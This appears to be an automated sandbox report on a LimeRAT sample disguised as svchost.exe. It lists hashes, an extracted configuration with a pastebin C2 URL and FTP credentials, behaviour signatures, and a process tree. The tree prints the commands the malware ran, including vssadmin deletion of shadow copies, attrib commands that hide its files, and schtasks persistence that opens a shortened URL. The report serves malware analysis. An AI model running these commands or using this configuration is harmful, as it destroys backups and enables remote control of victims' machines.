Analysis

  • max time kernel
    190s
  • max time network
    169s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240611-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240611-enlocale:en-usos:windows10-2004-x64system
  • submitted
    19-06-2024 22:02

General

  • Target

    svchost.exe

  • Size

    242KB

  • MD5

    05e991bcf019b487f7ad4e896c77e988

  • SHA1

    f4a93e4ce16dba10cdc835fe1ae71da3dd88f73a

  • SHA256

    cb87011623c7e41c0a449814e76c887543e6e39e6ab3864c7cc3636dcf09e196

  • SHA512

    4f4ee0153af79dbb6352b1382cbee3b5af72c64f827450d2a681fd2b3177304ac1c6626c055159facb84aca9f8ba6aa9d1265d5fb148080e566903949081cfb3

  • SSDEEP

    6144:GpCE/UVPy/oCa+LDZWC9z5B0bmknq1difFN:6CzPygCa+DZ+nq1cT

Malware Config

Extracted

Credentials

  • Protocol:
    ftp
  • Host:
    ftp.encompossoftware.com
  • Port:
    21
  • Username:
    remoteuser
  • Password:
    Encomposx99

Extracted

Family

limerat

Wallets

False

Attributes
  • aes_key

    1

  • antivm

    false

  • c2_url

    https://pastebin.com/raw/GfV4LBjE

  • download_payload

    true

  • install

    true

  • install_name

    svchost.exe

  • main_folder

    False

  • payload_url

    True

  • pin_spread

    true

  • sub_folder

    False

  • usb_spread

    false

Signatures

  • Contains code to disable Windows Defender 2 IoCs

    A .NET executable tasked with disabling Windows Defender capabilities such as realtime monitoring, blocking at first seen, etc.

  • LimeRAT

    Simple yet powerful RAT for Windows machines written in .NET.

  • Modifies Windows Defender Real-time Protection settings 3 TTPs 4 IoCs
  • Modifies security service 2 TTPs 1 IoCs
  • Modifies visibility of file extensions in Explorer 2 TTPs 1 IoCs
  • Modifies visiblity of hidden/system files in Explorer 2 TTPs 1 IoCs
  • Deletes shadow copies 3 TTPs

    Ransomware often targets backup files to inhibit system recovery.

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 1 IoCs
  • Enumerates connected drives 3 TTPs 15 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 4 IoCs
  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Checks SCSI registry key(s) 3 TTPs 3 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Disables Windows logging functionality 2 TTPs

    Changes registry settings to disable Windows Event logging.

  • Interacts with shadow copies 3 TTPs 12 IoCs

    Shadow copies are often targeted by ransomware to inhibit system recovery.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 14 IoCs
  • Suspicious use of FindShellTrayWindow 64 IoCs
  • Suspicious use of SendNotifyMessage 64 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 3 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

  • Views/modifies file attributes 1 TTPs 4 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\svchost.exe
    "C:\Users\Admin\AppData\Local\Temp\svchost.exe"
    1⤵
    • Modifies Windows Defender Real-time Protection settings
    • Modifies security service
    • Checks computer location settings
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:3084
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding" & attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
      2⤵
      • Hide Artifacts: Hidden Files and Directories
      • Suspicious use of WriteProcessMemory
      PID:2824
      • C:\Windows\system32\attrib.exe
        attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding"
        3⤵
        • Views/modifies file attributes
        PID:4716
      • C:\Windows\system32\attrib.exe
        attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
        3⤵
        • Views/modifies file attributes
        PID:4404
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell" Get-MpPreference -verbose
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3208
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin Delete Shadows /all /quiet
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1308
      • C:\Windows\system32\vssadmin.exe
        vssadmin Delete Shadows /all /quiet
        3⤵
        • Interacts with shadow copies
        PID:4456
    • C:\Windows\SYSTEM32\cmd.exe
      cmd /c vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2504
      • C:\Windows\system32\vssadmin.exe
        vssadmin resize shadow /for=c: /on=c: /maxsize=401MB
        3⤵
          PID:3044
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3804
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=c: /on=c: /maxsize=unbounded
          3⤵
          • Interacts with shadow copies
          PID:1832
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:888
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=d: /on=d: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:3540
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3128
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=e: /on=e: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:4088
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2464
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=e: /on=e: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2228
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:2520
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=f: /on=f: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:1056
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:752
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=f: /on=f: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2896
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1652
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=g: /on=g: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:4320
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:532
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=g: /on=g: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2988
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:3776
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=h: /on=h: /maxsize=401MB
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2020
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:1484
        • C:\Windows\system32\vssadmin.exe
          vssadmin resize shadowstorage /for=h: /on=h: /maxsize=unbounded
          3⤵
          • Enumerates connected drives
          • Interacts with shadow copies
          PID:2964
      • C:\Windows\SYSTEM32\cmd.exe
        cmd /c Vssadmin delete shadowstorage /all /quiet
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4284
        • C:\Windows\system32\vssadmin.exe
          Vssadmin delete shadowstorage /all /quiet
          3⤵
          • Interacts with shadow copies
          PID:1868
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "11:59" /sc daily /mo "1" /tn "AD RMS Rights Policy Template Management (Automated)" /tr "'explorer'https://bit.ly/3hfQB4H"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2992
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "08:33" /sc daily /mo "3" /tn "AD RMS Rights Policy Template Management (Automated)" /tr "'explorer'https://bit.ly/3hfQB4H"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3620
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "10:17" /sc daily /mo "5" /tn "AD RMS Rights Policy Template Management (Automated)" /tr "'explorer'https://bit.ly/3hfQB4H"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:4700
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "10:36" /sc weekly /mo "2" /d "Sat" /tn "AD RMS Rights Policy Template Management (Automated)" /tr "'explorer'https://bit.ly/3hfQB4H"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1656
      • C:\Windows\SYSTEM32\schtasks.exe
        schtasks /create /f /st "03:18" /sc monthly /m "may" /tn "AD RMS Rights Policy Template Management (Automated)" /tr "'explorer'https://bit.ly/3hfQB4H"
        2⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2312
      • C:\Users\Admin\AppData\Roaming\Branding\svchost.exe
        "C:\Users\Admin\AppData\Roaming\Branding\svchost.exe"
        2⤵
        • Modifies visibility of file extensions in Explorer
        • Modifies visiblity of hidden/system files in Explorer
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • System policy modification
        PID:280
        • C:\Windows\SYSTEM32\cmd.exe
          cmd /c attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding" & attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
          3⤵
          • Hide Artifacts: Hidden Files and Directories
          PID:2308
          • C:\Windows\system32\attrib.exe
            attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding"
            4⤵
            • Views/modifies file attributes
            PID:2968
          • C:\Windows\system32\attrib.exe
            attrib +H +S "C:\Users\Admin\AppData\Roaming\\Branding\*" /S /D
            4⤵
            • Views/modifies file attributes
            PID:1908
    • C:\Windows\system32\vssvc.exe
      C:\Windows\system32\vssvc.exe
      1⤵
      • Suspicious use of AdjustPrivilegeToken
      PID:2028
    • C:\Windows\system32\taskmgr.exe
      "C:\Windows\system32\taskmgr.exe" /4
      1⤵
      • Checks SCSI registry key(s)
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      PID:4376

    Network

    MITRE ATT&CK Enterprise v15

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    Downloads

    • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\svchost.exe.log

      Filesize

      1KB

      MD5

      f6d83cb3ec0cf035c26b86a8009ab714

      SHA1

      9c2d16be04908f2d28ce66b41ca4487b618534b3

      SHA256

      2abe8a8f5bc11a760fed80a31be099fc4ffe88cf786ccec2d6b0610877910212

      SHA512

      9f94dfc2f18ab2130698724a6a6e54c3ddb4f7695b60e71eaee9b2ed0ca09fdc30830bf70de450814260c771674988999b8b94bf78dec6cbb068c8bd073b1696

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_bno0zii0.ro2.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • C:\Users\Admin\AppData\Roaming\Branding\svchost.exe

      Filesize

      242KB

      MD5

      05e991bcf019b487f7ad4e896c77e988

      SHA1

      f4a93e4ce16dba10cdc835fe1ae71da3dd88f73a

      SHA256

      cb87011623c7e41c0a449814e76c887543e6e39e6ab3864c7cc3636dcf09e196

      SHA512

      4f4ee0153af79dbb6352b1382cbee3b5af72c64f827450d2a681fd2b3177304ac1c6626c055159facb84aca9f8ba6aa9d1265d5fb148080e566903949081cfb3

    • memory/280-36-0x000002720B590000-0x000002720B59C000-memory.dmp

      Filesize

      48KB

    • memory/280-35-0x0000027227530000-0x0000027227A58000-memory.dmp

      Filesize

      5.2MB

    • memory/280-34-0x00000272257A0000-0x00000272257BE000-memory.dmp

      Filesize

      120KB

    • memory/3084-1-0x00007FF80BB53000-0x00007FF80BB55000-memory.dmp

      Filesize

      8KB

    • memory/3084-0-0x0000026BF9F60000-0x0000026BF9FA2000-memory.dmp

      Filesize

      264KB

    • memory/3084-19-0x00007FF80BB53000-0x00007FF80BB55000-memory.dmp

      Filesize

      8KB

    • memory/3208-14-0x00007FF80BB50000-0x00007FF80C611000-memory.dmp

      Filesize

      10.8MB

    • memory/3208-17-0x00007FF80BB50000-0x00007FF80C611000-memory.dmp

      Filesize

      10.8MB

    • memory/3208-13-0x00007FF80BB50000-0x00007FF80C611000-memory.dmp

      Filesize

      10.8MB

    • memory/3208-12-0x00007FF80BB50000-0x00007FF80C611000-memory.dmp

      Filesize

      10.8MB

    • memory/3208-2-0x0000021B7EFC0000-0x0000021B7EFE2000-memory.dmp

      Filesize

      136KB

    • memory/4376-39-0x000002232B500000-0x000002232B501000-memory.dmp

      Filesize

      4KB

    • memory/4376-38-0x000002232B500000-0x000002232B501000-memory.dmp

      Filesize

      4KB

    • memory/4376-37-0x000002232B500000-0x000002232B501000-memory.dmp

      Filesize

      4KB

    • memory/4376-44-0x000002232B500000-0x000002232B501000-memory.dmp

      Filesize

      4KB

    • memory/4376-49-0x000002232B500000-0x000002232B501000-memory.dmp

      Filesize

      4KB

    • memory/4376-48-0x000002232B500000-0x000002232B501000-memory.dmp

      Filesize

      4KB

    • memory/4376-47-0x000002232B500000-0x000002232B501000-memory.dmp

      Filesize

      4KB

    • memory/4376-46-0x000002232B500000-0x000002232B501000-memory.dmp

      Filesize

      4KB

    • memory/4376-45-0x000002232B500000-0x000002232B501000-memory.dmp

      Filesize

      4KB

    • memory/4376-43-0x000002232B500000-0x000002232B501000-memory.dmp

      Filesize

      4KB